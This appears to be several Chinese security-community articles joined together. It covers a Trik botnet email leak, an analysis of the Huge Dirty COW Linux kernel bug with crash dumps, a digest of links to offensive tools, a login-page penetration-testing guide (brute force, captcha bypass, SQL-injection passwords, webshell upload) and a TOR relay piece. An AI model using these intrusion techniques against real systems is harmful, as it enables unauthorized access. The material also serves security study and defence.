内核构成严重威胁。同时我发现，进行简单的内核破坏比预期更加容易，特别是与PatchGuard延时配合的时候。总之，我觉得最明智的做法是针对驱动白名单部署设备保护，从而从根本上消除这种类型的攻击。
出于学习和测试的目的，我把 [Capcom-Rootkit](https://github.com/FuzzySecurity/Capcom-Rootkit) 放到了github上，Don't be a jackass!
**参考资料：**
\+ Capcom-Rootkit ([@FuzzySec](https://twitter.com/fuzzysec)) -[here](https://github.com/FuzzySecurity/Capcom-Rootkit)
\+ Windows driver signing bypass by Derusbi -[here](http://www.sekoia.fr/blog/windows-driver-signing-bypass-by-derusbi/)
\+ A quick insight into the Driver Signature Enforcement
([@j00ru](https://twitter.com/j00ru)) -[here](http://j00ru.vexillium.org/?p=377)
\+ Defeating x64 Driver Signature Enforcement
([@hFireF0X](https://twitter.com/hfiref0x)) -[here](http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3322)
原文链接：<http://www.fuzzysecurity.com/tutorials/28.html> | 社区文章 |
# Trik垃圾邮件僵尸网络泄露了4300万个电子邮件地址
|
##### 译文声明
本文是翻译文章，文章来源：https://www.bleepingcomputer.com/
原文地址：<https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/>
译文仅供参考，具体内容表达以及含义原文为准。
一位安全研究人员今天提到，超过4300万个电子邮件地址从垃圾邮件僵尸网络的命令和控制服务器中泄露。
Vertek公司的一位危险情报分析师在调查恶意软件活动，他在其中发现该活动在散布Trik木马病毒的一种版本，并且会通过第二阶段有效载荷感染用户–GandCrab
3勒索软件。
Vertek研究人员发现Trik和GandCrab会从俄罗斯IP地址的在线服务器下载感染用户系统的恶意文件。
研究人员向Bleeping Computer透露，这个操作背后的团队配置错了服务器，任何人都可以直接访问IP。
在这台服务器上，他发现了2201个文本文件，从1.txt到2201.txt顺序标记，每个文件包含大约20,000个电子邮件地址块。
Vertek的研究人员认为，该服务器的运营商一直在使用这些收件人列表来为其他服务商提供服务，以便通过malspam活动分发各种恶意软件。
## 服务器泄漏43,555,741个独立的电子邮件地址
“我们把他们全部都拿来验证他们是独一无二的合法的，”研究人员今天早些时候告诉Bleeping Computer。
“在44,020,000个潜在地址中，有43,555,741是独一无二的。”
研究人员现在正与澳大利亚安全专家特洛伊亨特合作，以便确定这些电子邮件中有多少是新的，以及之前有多少电子邮件已泄漏到其他数据转储中。
研究人员告诉我们，“电子邮件地址来自各个地方。” “有460万个独特的电子邮件域名，从.gov到.com，以及几个私人企业的域名。”
Vertek研究员分析了每个域的电子邮件地址。
在今天早些时候，研究人员分享的一份名单中（嵌入在本文的底部），指出了绝大多数电子邮件地址都是旧的，来自古老的电子邮件服务，如雅虎（1060万）和美国在线（830万）。
令人惊讶的是，尽管泄漏中包含许多自定义电子邮件域，但其中包含的Gmail地址非常少，这表明电子邮件地址数据库并不完整，或者此恶意软件活动有意针对使用旧电子邮件服务的用户。
## Trik木马
Trik木马是一个典型的恶意软件下载程序。它会感染电脑，并将它们组装成一个巨大的僵尸网络。僵尸网络的操作人员使用这些电脑来发送新的垃圾邮件活动，或者他们向其他骗子出售“安装空间”，让他们向Trik受害者发送更多的威胁，类似于当初在Vertek活动中租借安装空间给GrandCrap人员使他们为难。
根据Proofpoint的报告，Trik木马已经有至少十年的活跃威胁，但在最近开始复苏。
在早期，恶意软件主要作为蠕虫通过可移动USB存储设备，Skype或Windows Live Messenger聊天进行自我传播。
这些基于蠕虫的变体之前是以Phorpiex的名义进行追踪的。
几年后，恶意软件发展成为一个完全成熟的木马，它分开了SDBot木马的代码库，并开始使用电子邮件垃圾邮件作为其主要传递和感染机制，同时还切换到IRC控制的僵尸网络体系结构。
Trik不是第一个发布其电子邮件地址数据库的垃圾邮件僵尸网络。 2017年8月，被称为Onliner的垃圾邮件操作泄露了711个垃圾邮件用户的邮件地址。
在撰写本文时，泄漏电子邮件地址的Trik C＆C服务器将以间歇性的间隔保持离线状态。
前100个泄露的电子邮件域名：
8907436 yahoo.com
8397080 aol.com
788641 comcast.net
433419 yahoo.co.in
432129 sbcglobal.net
414912 msn.com
316128 rediffmail.com
294427 yahoo.co.uk
286835 yahoo.fr
282279 verizon.net
244341 bellsouth.net
234718 cox.net
227209 earthlink.net
221737 yahoo.com.br
191098 ymail.com
174848 att.net
156851 btinternet.com
139885 libero.it
120120 yahoo.es
117175 charter.net
112566 mac.com
111248 mail.ru
107810 juno.com
92141 optonline.net
86967 yahoo.ca
78964 me.com
73341 yahoo.com.ar
71545 yahoo.in
71200 rocketmail.com
69757 wanadoo.fr
68645 rogers.com
65629 yahoo.it
65017 shaw.ca
64091 ig.com.br
63045 163.com
62375 uol.com.br
57764 free.fr
57617 yahoo.com.mx
57066 web.de
56507 orange.fr
56309 sympatico.ca
54767 aim.com
51352 cs.com
50256 bigpond.com
48455 terra.com.br
43135 yahoo.co.id
41533 netscape.net
40932 alice.it
39737 sky.com
39116 yahoo.com.au
38573 bol.com.br
38558 YAHOO.COM
37882 excite.com
37788 mail.com
37572 tiscali.co.uk
37361 mindspring.com
37350 tiscali.it
36636 HOTMAIL.COM
36429 ntlworld.com
34771 netzero.net
33414 prodigy.net
33208 126.com
32821 yandex.ru
32526 planet.nl
32496 yahoo.com.cn
31167 qq.com
30831 embarqmail.com
30751 adelphia.net
30536 telus.net
30005 hp.com
29160 yahoo.de
28290 roadrunner.com
27558 skynet.be
26732 telenet.be
26299 wp.pl
26135 talktalk.net
26072 pacbell.net
26051 t-online.de
25929 netzero.com
25917 optusnet.com.au
25897 virgilio.it
25525 home.nl
25227 videotron.ca
24881 blueyonder.co.uk
24462 peoplepc.com
24435 windstream.net
24079 xtra.co.nz
23465 bluewin.ch
23375 us.army.mil
22433 hetnet.nl
22247 trainingelite.com
22021 yahoo.com.sg
21689 laposte.net
21336 ge.com
21130 frontiernet.net
21055 q.com
21034 mchsi.com
20882 webtv.net
20830 abv.bg
19425 insightbb.com
审核人：yiwang 编辑：边边 | 社区文章 |
# 针对“Huge Dirty COW” （CVE-2017–1000405）的分析
##### 译文声明
本文是翻译文章，文章原作者 Eylon Ben Yaakov，文章来源：medium.com
原文地址：<https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](https://www.anquanke.com/member/125661)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 摘要
众所周知，脏牛（Dirty
COW，CVE-2016-5195）是一个非常有名的公开漏洞。这个漏洞在过去10年中，存在于每一个Linux版本里，包括安卓手机、台式机和服务器都受这一漏洞的影响。该漏洞直接影响了数百万用户，使攻击者可以轻松地绕过常规防护。
该漏洞爆出之后，有大量相关新闻纷纷发布，但没有人详细分析过修补程序。 **我们对该补丁进行了深入研究，最终发现，该补丁对系统的修复并不完善。**
## “脏牛”漏洞回顾
首先，我们需要充分了解原始的“脏牛”漏洞的利用方式，前提是需要对Linux内存管理器有基本的了解。在这里，我们并不会完整讲解该漏洞的具体细节，因为在当时已经有很多文章进行了详尽说明，如有需要可以请大家自行检索参考。
该漏洞位于get_user_pages函数中，这一函数用于在用户进程中获取虚拟地址后面的物理页。调用方必须先指定在页上将要执行的操作，例如touch、write、lock等，之后内存管理器就可以将相应的页提前准备好。具体来说，当准备在一个私有映射中的页执行写操作时，该页可能需要经过一个写时拷贝技术（Copy-On-Write，也就是所说的COW）循环，原始的只读页会被复制到一个可写的新内存页上。原来的页面也可能是私有的，这样就能将其映射到其他进程中，甚至可能会在修改后将其写回硬盘之中。
接下来，让我们看看__get_user_pages中的相关代码：
static long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
// ...
do {
struct page *page;
unsigned int foll_flags = gup_flags;
// ...
vma = find_extend_vma(mm, start);
// ...
retry:
// ...
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
// ...
next_page:
// ...
nr_pages -= page_increm;
} while (nr_pages);
return i;
}
其中，while循环的目的是在请求的页范围内获取每一个内存页。重试（retry）标签的作用则在于，在符合要求的页出现前，要使每一个内存页都出现错误。
follow_page_mask的任务是扫描页表，以获取指定地址的物理页（同时需要考虑到页表条目的权限）。在follow_page_mask进行操作期间，页表条目会防止多处理器并发而进行spinlock锁定，这就保证了我们在得到一个引用之前，物理页不会被释放。
Faultin_page请求内存管理器使用指定的权限（同样基于页表条目的spinlock）来处理给定地址中的错误。在这里请特别注意，当成功调用faultin_page之后，锁定状态就会结束，因此不能保证follow_page_mask在下一个retry中能够成功，另一航代码很有可能打乱了我们的内存页。
漏洞涉及的代码在faultin_page的结尾部分：
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
之所以删除FOLL_WRITE标志，是考虑到在只读的虚拟内存空间上应用FOLL_FORCE标志的情况（当在虚拟内存空间中设置VM_MAYWRITE标志时）。在这种情况下，pte_maybe_mkwrite函数将不会设置写权限位，但faulted-in页确实可以写入。
如果在执行faultin_page时虚拟内存空间不能写入，在内存页经过一次COW循环时（使用VM_FAULT_WRITE来标记），就会在下一次尝试访问该页时删除FOLL_WRITE标志，以便请求只读权限。
如果该页是只读的，或者不存在，就会造成第一个follow_page_mask失败，我们会再次尝试。在这段时间里，也就是下一次尝试获取内存页之前，我们可以借助于madvise(MADV_DONTNEED)函数等方式来去掉COW。
下一次对faultin_page的调用将不带FOLL_WRITE标志，因此我们从该页缓存（pcache）中获得只读的版本。在这种情况下，下一次对follow_page_mask的调用也会在没有FOLL_WRITE标志的情况下进行，因此它将会返回私有的的只读页，而不是调用方对可读内存页的原始请求。
以上就是脏牛漏洞的一个基本回顾，它允许我们写入到私有只读内存映射之中。作为对该漏洞的修复，在faultin_page中做了如下修改：
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags |= FOLL_COW; // Instead of *flags &= ~FOLL_WRITE;
并且，新增了一个由follow_page_mask调用的新函数：
/*
* FOLL_FORCE can write to even unwritable pte's, but only
* after we've gone through a COW cycle and they are dirty.
*/
static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
{
return pte_write(pte) ||
((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
}
该修复方式并不是减少所请求的权限，而是让get_user_pages记录是否经过了一次COW循环。在下个迭代中，只有当指定了FOLL_FORCE和FOLL_COW标志并且该页表条目被标记为“Dirty”时，我们才能对只读页执行写操作。
这样的修复方式，需要建立在私有只读页副本不会有包含页面重写标志位（Dirty bit）的页表条目指向它的前提下。然而，这个前提有时是不能保证的。
## 透明大页
通常来说，Linux的默认内存页大小为4096字节。为了使系统能够管理大量的内存，我们可以增加页表条目的数量，也可以使用更大的内存页。我们重点关注第二种方式，在Linux中，该机制称为大内存页（Huge
Page）。
一个大内存页的大小为2MB，这是通过透明大页（Transparent Huge
Pages，THP）的机制来实现的。除此之外，还有其他的方法来得到更大的内存页，我们在此先忽略。
内核将尝试使用大页面来满足相应的内存分配。透明大页具有可交换和可再分的特性。这里的“可再分”是指，它可以再分为正常的4096字节的内存页。同时它可以用于匿名（anonymous）、shmem和tmpfs映射之中（后两个在较新的内核版本中出现）。
取决于编译标志和计算机配置，通常来说默认的透明大页只用于匿名映射，但也可以手动打开对shmem和tmpfs的支持。一般来说，透明大页可以在系统运行时，通过像某些内核的特殊文件写入来实现启动和关闭。
其中，有一个重要的优化过程，就是将普通页合并成为大内存页。这是由守护进程khugepaged来完成的，改进成灰不断对可能合并的内存页进行扫描，其要求是虚拟内存空间必须要覆盖完整且对齐的2MB的内存范围。
透明大页是通过将PMD（一个高于PTE的级别）的_PAGE_PSE位置1来实现的。因此，PMD指向的是2MB的物理页，而并非PTE目录。在每次扫描页表时，都必须使用pmd_trans_huge函数来检查PMD，这样我们就可以确定PMD是指向PFN还是指向了PTE的一个目录。在一些结构上，巨大的PUD也可以存在，将会导致产生1GB的内存页。
从内核版本2.6.38开始，就支持透明大页的功能。但在大多数安卓设备上，透明大页的子系统并没有启用。
## 漏洞分析
在脏牛补丁代码中的处理THP的部分，我们可以看到，具有同样逻辑的can_follow_write_pte适用于巨大的PMD。补丁增加了一个名为can_follow_write_pmd的匹配函数：
static inline bool can_follow_write_pmd(pmd_t pmd, unsigned int flags)
{
return pmd_write(pmd) ||
((flags & FOLL_FORCE) && (flags & FOLL_COW) && pmd_dirty(pmd));
}
然而，在PMD较为巨大的情况下，如果使用touch_pmd函数，内存页则可以被标记为“Dirty”而不经过COW循环：
static void touch_pmd(struct vm_area_struct *vma, unsigned long addr,
pmd_t *pmd)
{
pmd_t _pmd;
/*
* We should set the dirty bit only for FOLL_WRITE but for now
* the dirty bit in the pmd is meaningless. And if the dirty
* bit will become meaningful and we'll only set it with
* FOLL_WRITE, an atomic set_bit will be required on the pmd to
* set the young bit, instead of the current set_pmd_at.
*/
_pmd = pmd_mkyoung(pmd_mkdirty(*pmd));
if (pmdp_set_access_flags(vma, addr & HPAGE_PMD_MASK,
pmd, _pmd, 1))
update_mmu_cache_pmd(vma, addr, pmd);
}
在每次get_user_pages试图获取一个大页时，该函数会被调用。显然，上面的注释并不正确，此时的“Dirty
bit”并非没有意义。特别是当使用get_user_pages来读取一个巨大的页，该页将被标记为“Dirty”同时不会经历COW周期，这就说明原来can_follow_write_pmd的逻辑已经被打破。
在这一点上，我们就能直接利用这个BUG，可以使用一个与原来的脏牛竞争条件漏洞类似的模式。这一次，我们去掉了内存页的复制版本，并让原始页故障两次，第一次让它到达当前，第二次是将Dirty
bit置为1。
那么问题来了，这个漏洞有多严重呢？
## 漏洞影响
为了利用该漏洞，我们必须要选择一个只读大内存页来作为要写入的目标。唯一的约束条件是，我们需要在获取该页之后，将它的madvise
(MADV_DONTNEED)去掉。在fork之后由父进程继承的匿名大内存页是一个有价值的目标，但需要注意的是，一旦被丢弃，我们就无法再找回它们。
我们发现了两个目标，是不应该被写入的；巨大的零页面、封装（只读）大内存页。
### 零页面
在写入前，当匿名映射中发生读取错误时，我们会得到一个特殊的物理页，称为零页面。这一项优化主要为了防止系统分配多个零分页，尽管这种情况很少会发生。因此，完全相同的零页面会在许多不同的进程中被映射，它们具有不同的安全级别。
同样的原则也适用于大内存页。因为如果没有发生写错误，就不需要创建另一个巨大的页面。取而代之的是，被称为巨大零内存页（Huge zero
page）的页面将被映射。此处需要注意，这个功能可以关闭。
### 透明大页、shmem和封装文件
shmem和tmpfs文件同样可以用于透明大页的映射。可以使用memfd_create系统调用，或者mmaping匿名共享映射来创建shmem文件。也可以使用tmpfs（通常是在dev/shm）的挂载点来创建tmpfs文件。上述两种方法都可以用大页面来进行映射，具体要取决于系统配置。
shmem文件可以被封装，封装文件会限制该文件所允许的操作。这一机制让不互相信任的进程也可以铜鼓共享内存进行通信，而无需再采取额外措施来处理共享内存区域的意外操作。三种典型的封装是：
**F_SEAL_SHRINK ：无法减小文件大小**
**F_SEAL_GROW ：无法增加文件大小**
**F_SEAL_WRITE ：无法修改文件内容**
这些封装可以使用fcntl系统调用添加到shmem文件之中。
## PoC
在Poc演示中，我们覆盖了巨大零内存页。同理，也可以覆盖shmem。
请注意，当第一个发生在零页的写页面错误出现后，它将会被换为一个全新清零的透明大页。借助这一点，我们成功使得几个进程崩溃。覆盖了巨大零内存页的后果，就是在大型非初始化数据段（BSS）中，可能会产生不正确的初始值。一个常见的攻击方法就是使用零值作为一个尚未初始化的全局变量的指示器。
下面的例子就演示了这种方式。在这个例子中，火狐的JS Helper线程创建了一个空deref，可能是由于被%rdx指向的布尔型变量误认为对象已经被初始化了。
Thread 10 "JS Helper" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffe2aee700 (LWP 14775)]
0x00007ffff13233d3 in ?? () from /opt/firefox/libxul.so
(gdb) i r
rax 0x7fffba7ef080 140736322269312
rbx 0x0 0
rcx 0x22 34
rdx 0x7fffba7ef080 140736322269312
rsi 0x400000000 17179869184
rdi 0x7fffe2aede10 140736996498960
rbp 0x0 0x0
rsp 0x7fffe2aede10 0x7fffe2aede10
r8 0x20000 131072
r9 0x7fffba900000 140736323387392
r10 0x7fffba700000 140736321290240
r11 0x7fffe2aede50 140736996499024
r12 0x1 1
r13 0x7fffba7ef090 140736322269328
r14 0x2 2
r15 0x7fffe2aee700 140736996501248
rip 0x7ffff13233d3 0x7ffff13233d3
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/10i $pc-0x10
0x7ffff13233c3: mov %rax,0x10(%rsp)
0x7ffff13233c8: mov 0x8(%rdx),%rbx
0x7ffff13233cc: mov %rbx,%rbp
0x7ffff13233cf: and $0xfffffffffffffffe,%rbp
=> 0x7ffff13233d3: mov 0x0(%rbp),%eax
0x7ffff13233d6: and $0x28,%eax
0x7ffff13233d9: cmp $0x28,%eax
0x7ffff13233dc: je 0x7ffff1323440
0x7ffff13233de: mov %rbx,%r13
0x7ffff13233e1: and $0xfffffffffff00000,%r13
(gdb) x/10w $rdx
0x7fffba7ef080: 0x41414141 0x00000000 0x00000000 0x00000000
0x7fffba7ef090: 0xeef93bba 0x00000000 0xda95dd80 0x00007fff
0x7fffba7ef0a0: 0x778513f1 0x00000000
另一个产生崩溃的例子，是在火狐调试模式中，加载符号而导致的gdb崩溃。
(gdb) r
Starting program: /opt/firefox/firefox
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x0000555555825487 in eq_demangled_name_entry (a=0x4141414141414141, b=<optimized out>) at symtab.c:697
697 return strcmp (da->mangled, db->mangled) == 0;
(gdb) i s
#0 0x0000555555825487 in eq_demangled_name_entry (a=0x4141414141414141, b=<optimized out>) at symtab.c:697
#1 0x0000555555955203 in htab_find_slot_with_hash (htab=0x555557008e60, element=element@entry=0x7fffffffdb00, hash=4181413748, insert=insert@entry=INSERT) at ./hashtab.c:659
#2 0x0000555555955386 in htab_find_slot (htab=<optimized out>, element=element@entry=0x7fffffffdb00, insert=insert@entry=INSERT) at ./hashtab.c:703
#3 0x00005555558273e5 in symbol_set_names (gsymbol=gsymbol@entry=0x5555595b3778, linkage_name=linkage_name@entry=0x7ffff2ac5254 "_ZN7mozilla3dom16HTMLTableElement11CreateTHeadEv", len=len@entry=48,
copy_name=copy_name@entry=0, objfile=<optimized out>) at symtab.c:818
#4 0x00005555557d186f in minimal_symbol_reader::record_full (this=0x7fffffffdce0, this@entry=0x1768bd6, name=<optimized out>,
name@entry=0x7ffff2ac5254 "_ZN7mozilla3dom16HTMLTableElement11CreateTHeadEv", name_len=<optimized out>, copy_name=copy_name@entry=48, address=24546262, ms_type=ms_type@entry=mst_file_text,
section=13) at minsyms.c:1010
#5 0x00005555556959ec in record_minimal_symbol (reader=..., name=name@entry=0x7ffff2ac5254 "_ZN7mozilla3dom16HTMLTableElement11CreateTHeadEv", name_len=<optimized out>, copy_name=copy_name@entry=false,
address=<optimized out>, address@entry=24546262, ms_type=ms_type@entry=mst_file_text, bfd_section=<optimized out>, objfile=0x555557077860) at elfread.c:209
#6 0x0000555555696ac6 in elf_symtab_read (reader=..., objfile=objfile@entry=0x555557077860, type=type@entry=0, number_of_symbols=number_of_symbols@entry=365691,
symbol_table=symbol_table@entry=0x7ffff6a6d020, copy_names=copy_names@entry=false) at elfread.c:462
#7 0x00005555556970c4 in elf_read_minimal_symbols (symfile_flags=<optimized out>, ei=0x7fffffffdcd0, objfile=0x555557077860) at elfread.c:1084
#8 elf_symfile_read (objfile=0x555557077860, symfile_flags=...) at elfread.c:1194
#9 0x000055555581f559 in read_symbols (objfile=objfile@entry=0x555557077860, add_flags=...) at symfile.c:861
#10 0x000055555581f00b in syms_from_objfile_1 (add_flags=..., addrs=0x555557101b00, objfile=0x555557077860) at symfile.c:1062
#11 syms_from_objfile (add_flags=..., addrs=0x555557101b00, objfile=0x555557077860) at symfile.c:1078
#12 symbol_file_add_with_addrs (abfd=<optimized out>, name=name@entry=0x55555738c1d0 "/opt/firefox/libxul.so", add_flags=..., addrs=addrs@entry=0x555557101b00, flags=..., parent=parent@entry=0x0)
at symfile.c:1177
#13 0x000055555581f63d in symbol_file_add_from_bfd (abfd=<optimized out>, name=name@entry=0x55555738c1d0 "/opt/firefox/libxul.so", add_flags=..., addrs=addrs@entry=0x555557101b00, flags=...,
parent=parent@entry=0x0) at symfile.c:1268
#14 0x000055555580b256 in solib_read_symbols (so=so@entry=0x55555738bfc0, flags=...) at solib.c:712
#15 0x000055555580be9b in solib_add (pattern=pattern@entry=0x0, from_tty=from_tty@entry=0, readsyms=1) at solib.c:1016
#16 0x000055555580c678 in handle_solib_event () at solib.c:1301
#17 0x00005555556f9db4 in bpstat_stop_status (aspace=0x555555ff5670, bp_addr=bp_addr@entry=140737351961185, ptid=..., ws=ws@entry=0x7fffffffe1d0) at breakpoint.c:5712
#18 0x00005555557ad1ef in handle_signal_stop (ecs=0x7fffffffe1b0) at infrun.c:5963
#19 0x00005555557aec8a in handle_inferior_event_1 (ecs=0x7fffffffe1b0) at infrun.c:5392
#20 handle_inferior_event (ecs=ecs@entry=0x7fffffffe1b0) at infrun.c:5427
#21 0x00005555557afd57 in fetch_inferior_event (client_data=<optimized out>) at infrun.c:3932
#22 0x000055555576ade5 in gdb_wait_for_event (block=block@entry=0) at event-loop.c:859
#23 0x000055555576aef7 in gdb_do_one_event () at event-loop.c:322
#24 0x000055555576b095 in gdb_do_one_event () at ./common/common-exceptions.h:221
#25 start_event_loop () at event-loop.c:371
#26 0x00005555557c3938 in captured_command_loop (data=data@entry=0x0) at main.c:325
#27 0x000055555576d243 in catch_errors (func=func@entry=0x5555557c3910 <captured_command_loop(void*)>, func_args=func_args@entry=0x0, errstring=errstring@entry=0x555555a035da "",
mask=mask@entry=RETURN_MASK_ALL) at exceptions.c:236
#28 0x00005555557c49ae in captured_main (data=<optimized out>) at main.c:1150
#29 gdb_main (args=<optimized out>) at main.c:1160
#30 0x00005555555ed628 in main (argc=<optimized out>, argv=<optimized out>) at gdb.c:32
(gdb) list
692 const struct demangled_name_entry *da
693 = (const struct demangled_name_entry *) a;
694 const struct demangled_name_entry *db
695 = (const struct demangled_name_entry *) b;
696
697 return strcmp (da->mangled, db->mangled) == 0;
698 }
699
700 /* Create the hash table used for demangled names. Each hash entry is
701 a pair of strings; one for the mangled name and one for the demangled
(gdb)
以上源代码请参考我们的Github：[https://github.com/bindecy/HugeDirtyCowPOC](https://github.com/bindecy/HugeDirtyCowPOC)
## 总结
这一漏洞，说明了在安全开发的生命周期中，对修复程序进行审计也是非常重要的。根据脏牛和其他一些漏洞的以往经验，有一些漏洞的官方补丁并没有完整修复。并且，这种情况不仅仅出现在闭源软件上，开源软件也出现过此类的问题。
## 时间线
最初的报告于2017年11月22日提交，相应团队立即作出了响应，并在几天之内发布补丁，修复了touch_pmd函数，仅当调用方请求写访问权限时才会设置PMD条目的dirty位。
2017年11月22日 将原始报告发送至 [[email protected]](mailto:[email protected])和[email protected]
2017年11月22日 分配CVE-2017-1000405编号
2017年11月27日 主内核补丁发布
2017年11月29日 公开披露细节 | 社区文章 |
# 【知识】8月23日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Discuz
X3.3补丁安全分析、如何在tor网络中避开特定地理区域、以DVRF（路由器漏洞靶机）为例解读JEB固件漏洞利用、如何劫持无线鼠标和键盘、解读智能机器人的安全问题、EggShell：基于Python的iOS、macOS后渗透工具、ScrumWorks
Pro远程代码执行漏洞**
**资讯类：**
源自中国公司的个信广告SDK染指安卓监控软件？谷歌下架更新500款App
<https://blog.lookout.com/igexin-malicious-sdk>
**技术类：**
【漏洞分析】Discuz X3.3补丁安全分析
<http://bobao.360.cn/learning/detail/4302.html>
Bitdefender：通过7z LZMA堆缓冲区溢出
<https://landave.io/2017/08/bitdefender-heap-buffer-overflow-via-7z-lzma/>
如何在tor网络中避开特定地理区域
<https://detor.cs.umd.edu/>
NIZKCTF:一个非交互式零基础的CTF平台
<https://arxiv.org/pdf/1708.05844.pdf>
以DVRF（路由器漏洞靶机）为例解读JEB固件漏洞利用
Part 1：<https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/>
Part 2：<https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/>
利用工业协同机器人（解读智能机器人的安全问题）
<http://blog.ioactive.com/2017/08/Exploiting-Industrial-Collaborative-Robots.html>
如何劫持无线鼠标和键盘
<https://toshellandback.com/2017/08/16/mousejack/>
shadow v2公开发布
<https://census-labs.com/news/2017/08/22/shadow-v2-release/>
<https://github.com/CENSUS/shadow>
EggShell：基于Python的iOS、macOS后渗透工具
<https://github.com/neoneggplant/EggShell/>
Java 8 Jar＆Android APK逆向工程工具（Decompiler，Editor，Debugger＆More）
<https://github.com/Konloch/bytecode-viewer/>
通过powershell实现命令与控制绕过安全检查
<https://pentestlab.blog/2017/08/19/command-and-control-powershell/>
Android启动过程分析
<https://thecyberfibre.com/android-boot-process/>
Invoke-Phant0m：Windows Event Log Killer
<https://github.com/hlldz/Invoke-Phant0m>
图文解读：反弹shell的几种方式（科普）
<http://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/>
bettercap v1.6.2发布，增加MAC、HSRP欺骗等新功能
<https://github.com/evilsocket/bettercap/releases/tag/v1.6.2>
通过SAML SSO进行带外XXE
<https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf>
ScrumWorks Pro远程代码执行漏洞
<https://blogs.securiteam.com/index.php/archives/3387>
Hack with Metasploit: Announcing the UNITED 2017 CTF
<https://community.rapid7.com/community/metasploit/blog/2017/08/10/hack-with-metasploit-announcing-the-united-2017-ctf>
Understanding Orphaned Files
<https://thinkdfir.com/2017/08/18/understanding-orphaned-files/> | 社区文章 |
**当我们渗透测试已经走到登录页面时，有哪些思路来作为本次渗透的切入点呢**
**本文会分享关于登录页面测试一些常规的思路(水平有限，如果有缺有错，师傅们多带带)**
**1.暴力破解**
对于用户名密码明文传输的登陆点，通常可以使用burp爆破，这一过程中一般有两个常见的小漏洞： **用户名枚举** ， **验证码绕过** 。
用户名枚举：web服务对系统不存在的账号响应不同。如账号不存在，密码错误。通常根据burp响应包长度不同判断，有些对于不存在账号的响应长度一致，可以通过burp爆破模块的Grep-Extract功能设置标志位来区分。
验证码绕过：通常当验证码未与账号密码一同验证/验证码可重放/验证码前端校验/时存在绕过。
如图验证码未与账号密码一同验证，可直接重放登录包。
如图Forward登录包后，drop掉获取验证码的包，只要不刷新当前页面，验证码一直有效。
如图验证码前端校验。
还有些点验证码压根不刷新，形同虚设...
当我们通过用户名枚举/验证码绕过拿到一些账号时，就可以直接上字典爆破了。若登录点不存在用户名枚举时，我们也可以使用频率高的账号进行爆破如：admin/root/user/test。
对于一些有 **大量用户的系统**
如OA系统等等，用户名有规律00001-99999(工号)这样，或是用户名是拼音又或者是常见英文单词时，我们可以指定弱口令如123456，来跑账号。
**案例：** 明文传输，无验证码，学生管理系统(大用户量)批量跑123456
爆破->>上传->>shell
**2.SQL注入**
username/password字段可能存在SQL注入。
万能密码：
平时可以收集该类字典进行fuzz。
注入：
单引号报错，判断存在注入，然后常规的联合查询注入出数据，然后登陆后台再进行下步渗透
**3.登录绕过**
当登录逻辑前端只校验响应状态码，可burp拦截修改状态码(true,success,200,0/具体登陆成功的状态码可在登陆页面的js文件/网页源码中找到)
**4.信息泄露**
可以在登录页面js文件中/网页源码中找找敏感信息。
某次项目在js找到默认的密码信息
某智慧校园系统，登录后台修改附件设置->>shell
有些登陆点登录时会check用户是否合法，返回包可能有惊喜
**5.密码重置**
密码重置的常见姿势可以看看上一篇[《密码重置的那些事》](https://xz.aliyun.com/t/8136 "《密码重置的那些事》")
案例：登陆点未发现其他利用，找回密码处分步骤，可能存在漏洞。密码重置进后台->>shell
**End......** | 社区文章 |
# 查找恶意的TOR中继节点
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://marcoramilli.blogspot.tw/2015/12/spotting-malicious-node-relays.html>
译文仅供参考，具体内容表达以及含义原文为准。
**众所周知,TOR是一种能够保护世界各地不同中继节点之间通信调度数据包的“软件”,由志愿者建立的网络进行运营。在过去的几年中,TOR已经被物理和网络攻击者广泛用于掩盖恶意操作。TOR也被视为最主要的进入暗网的方法,在暗网中,“恶意”的人可以通过黑市非法买卖东西。**
网络里每个中继节点都能够根据自己的配置状态,决定是作为一个ExitPoint(在以下图片中用最后一台接触“Bob”的机器表示)或者只是一个中继节点(在下图中,TOR节点用“绿十字”突出显示)。如果中继节点决定成为一个ExitNode,就会向公众公开自己的IP地址,这通常是一个引起当地警方警觉的好办法。
过去一年中,电视节目,广播电台,youtube频道,Facebook这一类大众媒体披露出,许多黑市故意将人们引向DarkWeb,从而将他们暴露在许多新的攻击场景下。事实上新的攻击者会为了监视他们的通信流而设置退出节点或继电器节点。这种攻击可能会在许多单一的方式下发生,但最常用的今天写的这三个:
1.DNS中毒:这个技术主要在于将与知名网站有关的DNS调用重定向到一个假的页面上, 这个假的页面包含开发工具包,可以使用户的浏览器妥协。
